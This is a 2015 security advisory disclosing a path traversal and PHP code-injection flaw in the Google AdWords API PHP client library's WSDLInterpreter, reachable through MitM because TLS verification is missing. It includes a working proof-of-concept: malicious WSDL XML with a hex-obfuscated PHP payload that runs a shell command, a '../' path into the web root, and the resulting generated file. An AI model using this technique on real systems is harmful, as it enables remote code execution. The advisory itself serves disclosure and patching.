Google AdWords API PHP client library 6.2.0 - Arbitrary PHP Code Execution









# Date: 06.11.2015
# Title: Google AdWords API PHP client library <= 6.2.0 Arbitrary PHP Code Execution
# Exploit Author: Dawid Golunski
# Vendor Homepage:
# Software Link:
# Version: <=6.2.0

- Release date: 06.11.2015
- Discovered by: Dawid Golunski
- Severity: Medium/High


Google AdWords API PHP client library <= 6.2.0    Arbitrary PHP Code Execution

- AdWords API

"The AdWords API is a collection of web services that you can use to build 
applications that manage AdWords accounts and their associated campaign data.
While the AdWords API is based on SOAP 1.1, high-level client libraries are 
provided to help you develop applications more quickly."

AdWords API client libraries are available for different platforms
such as PHP, .NET, Java etc. 
These can be found at:

The Google AdWords API client library for PHP contains a WSDL Interpreter
class which is described in a comment within the source code as:

* The main class for handling WSDL interpretation.
 * The WSDLInterpreter is utilized for the parsing of a WSDL document for rapid
 * and flexible use within the context of PHP 5 scripts.

The class contains a function savePHP() which allows to convert the WSDL 
document received from a remote end into a PHP file. 
The funcion is vulnerable to Path Traversal and Code Execution vulnerabilities.

googleads-php-lib contains the following function which is meant to load WSDL 
document (XML data) from a remote Google AdWords server:

---[ build_lib/WSDLInterpreter/WSDLInterpreter.php ]---

  protected function loadWsdl($wsdlUri, $proxy = null) {
    // Set proxy.
    if ($proxy) {
      $opts = array(
          'http' => array(
              'proxy' => $proxy,
              'request_fulluri' => true
      $context = stream_context_get_default($opts);

    $this->dom = new DOMDocument();


For security reasons Google AdWords API should only be accessed via HTTPS. 
However, the above code does not set appropriate SSL settings on the 
https:// stream context. 
It fails to assign Certificate Authority (CA), turn the verify_peer 
option to ON, specify allowed ciphers etc.
It uses the stream_context_get_default() function to get the default context,
which on all PHP versions below PHP 5.6.x (see references), does not validate 
the CA by default. 
Because of this, application may retrieve data from untrusted sources 
pretending to be

Further on, the WSDLInterpreter class contains the following savePHP function:

---[ build_lib/WSDLInterpreter/WSDLInterpreter.php ]---

   * Saves the PHP source code that has been loaded to a target directory.
   * Services will be saved by their validated name, and classes will be
   * included with each service file so that they can be utilized independently.
   * @param string $outputDirectory the destination directory for the source
   *    code
   * @return array array of source code files that were written out
   * @throws WSDLInterpreterException problem in writing out service sources
  public function savePHP($outputDirectory) {
    if (!count($this->servicePHPSources)) {
      throw new WSDLInterpreterException("No services loaded");
    $namespace = $this->enableNamespaces ? sprintf("namespace %s;\n\n",
        $this->utils->getNamespace()) : '';
    $require = sprintf("require_once \"%s\";\n\n", $this->soapClientClassPath);
    $classSource = join("\n\n", $this->classPHPSources);
    $outputFiles = 
    foreach ($this->servicePHPSources as $serviceName => $serviceCode) {
      $filename = sprintf('%s/%s.php', $outputDirectory, $serviceName);
      $success = file_put_contents($filename, sprintf(
          "<?php\n%s%s%s%s\n\n%s\n\n", $this->getFileHeader(), $namespace,
              $require, $classSource, $serviceCode));


The function does not perform sufficient sanitisation of the WSDL document
received from a remote end. It allows to inject '../' sequence, which can be
used by attackers to  save the resulting translated PHP file into an arbitrary
directory on the system.
It also fails to validate the Name spaces provided within WSDL XML document,
making it possible to inject arbitrary PHP code via encoding it in hex.

For the attack to be successful, the attacker needs to perform a MitM attack 
to impersonate server (eg. via DNS poisoning/spoofing/proxy
attacks, ARP spoofing, etc. ) to inject malicious XML code.

Below is a test application that makes use of of PHP Google AdWords API library.
The application simply connects to the AdWords API endpoint to retrieve the 
Google API WSDL document and translates it into a PHP file.

---[ testAPI.php ]---

// Test application reading WSDL from Google AdWords 

require_once 'WSDLInterpreter.php';

$wsdlUri = ''

$wsdlInterpreter = new WSDLInterpreter($wsdlUri, "AdWordsSoapClient",null, 
null, "CampaignService", "v201502", "Ads_Google", 
"./src/Google/Api/Ads/AdWords/Lib/AdWordsSoapClient.php", null, true, null);




To exploit this application, an attacker needs to perform a MitM attack
to impersonate server as mentioned in the description above.

If an attacker manages to inject the XML below, when the victim requests
the link
from Google AdWords endpoint:

---[ malicious XML ]---

<?xml version="1.0" encoding="UTF-8"?>
<definitions xmlns:typens="urn:POC_RCE" 
    name="POCexploit" targetNamespace="urn:POCexploit444"&#x3b;&#x20;&#x70;&#x75;&#x62;&#x6c;&#x69;&#x63;&#x20;&#x66;&#x75;&#x6e;&#x63;&#x74;&#x69;&#x6f;&#x6e;&#x20;&#x5f;&#x5f;&#x64;&#x65;&#x73;&#x74;&#x72;&#x75;&#x63;&#x74;&#x28;&#x29;&#x20;&#x7b;&#x20;&#x24;&#x65;&#x78;&#x66;&#x6f;&#x6f;&#x20;&#x3d;&#x20;&#x60;&#x2f;&#x62;&#x69;&#x6e;&#x2f;&#x74;&#x6f;&#x75;&#x63;&#x68;&#x20;&#x2f;&#x74;&#x6d;&#x70;&#x2f;&#x61;&#x64;&#x77;&#x6f;&#x72;&#x64;&#x73;&#x5f;&#x61;&#x70;&#x69;&#x5f;&#x68;&#x61;&#x63;&#x6b;&#x65;&#x64;&#x60;&#x3b;&#x20;&#x7d;&#x20;&#x63;&#x6f;&#x6e;&#x73;&#x74;&#x20;&#x4e;&#x4f;&#x54;&#x48;&#x49;&#x4e;&#x47;&#x20;&#x3d;&#x20;"">
    <service name="../../../var/www/html/POC_Exploit">
        <port name="Some_HandlerPort" binding="typens:Some_HandlerBinding">
            <soap:address location="" />


the vulnerable application will translate it and save it as a script in 
/var/www/html/POC_Exploit.php (assuming directory is writable) location,
instead of /tmp location, due the Path Traversal in '<service name=' tag.

It will also decode the hex values representing a malicious PHP script to:

"; public function __destruct() { $exfoo = `/bin/touch /tmp/adwords_api_hacked`; }
 const NOTHING = "

The resulting file will be saved in /var/www/html/POC_Exploit.php , and will
look as follows after the WSDL to PHP translation:

---[ resulting POC_Exploit.php file ]---

 * @package    Ads_Google
 * @subpackage v201309
 * @category   WebServices
 * @copyright  2014, Google Inc. All Rights Reserved.
 * @license Apache License,
 *             Version 2.0
namespace Ads_Google;

require_once "../../src/Google/Api/Ads/AdWords/Lib/AdWordsSoapClient.php";

if (!class_exists("VarwwwhtmlPOC_Exploit", false)) {
   * VarwwwhtmlPOC_Exploit
   * @package Ads_Google
   * @subpackage v201309
  class VarwwwhtmlPOC_Exploit extends AdWordsSoapClient {

    const SERVICE_NAME = "../../../var/www/html/POC_Exploit";
    const WSDL_NAMESPACE = "urn:POCexploit444"; public function __destruct() { $exfoo = `/bin/touch /tmp/adwords_api_hacked`; } const NOTHING = "";
    const ENDPOINT = "";

     * The endpoint of the service
     * @var string
    public static $endpoint = "";

     * Constructor using wsdl location and options array
     * @param string $wsdl WSDL location for this service
     * @param array $options Options for the SoapClient
    public function __construct($wsdl, $options, $user) {
      $options["classmap"] = self::$classmap;
      parent::__construct($wsdl, $options, $user, self::SERVICE_NAME,


If such class gets included it will execute the malicious code due to the 
injected __destruct() method, which creates /tmp/adwrods_api_hacked file.

At this point the attacker can control the name of the class (through service name), 
the path to the resulting PHP file, and is also able to inject any PHP code.

Going further, He could also close the class definition statement and write an arbitrary 
PHP code in the main file. 
This would allow the attacker to create a stand alone script which he 
could request remotely via the Web server if he managed save it within the web
In this way the attacker could create a stand alone PHP command shell and get
access to the system.


The severity of this issue is lowered to medium/high as despite the possibility
to execute arbitrary code, the attacker must impersonate
server to be able to inject malicious XML. 
If there is a possibility for such an attack, the severity of the issue
can grow to high/critical.

Google AdWords API PHP client library in versions up to 6.2.0 contain the 
vulnerable WSDLInterpreter code.

Upgrade Google AdWords API PHP client library to the latest version.

This advisory:

Related, Google AdWords API client libraries - XML eXternal Entity Injection (XXE) vuln:

PHP 5.6.x openssl certificates in PHP streams:


The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com

May 18th, 2015:  Advisory created and sent to Google Security Team

Nov 5th,  2015:  Google, after half a year, confirm the vulnerability has been patched

Nov 6th,  2015:  Advisory released publicly

The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.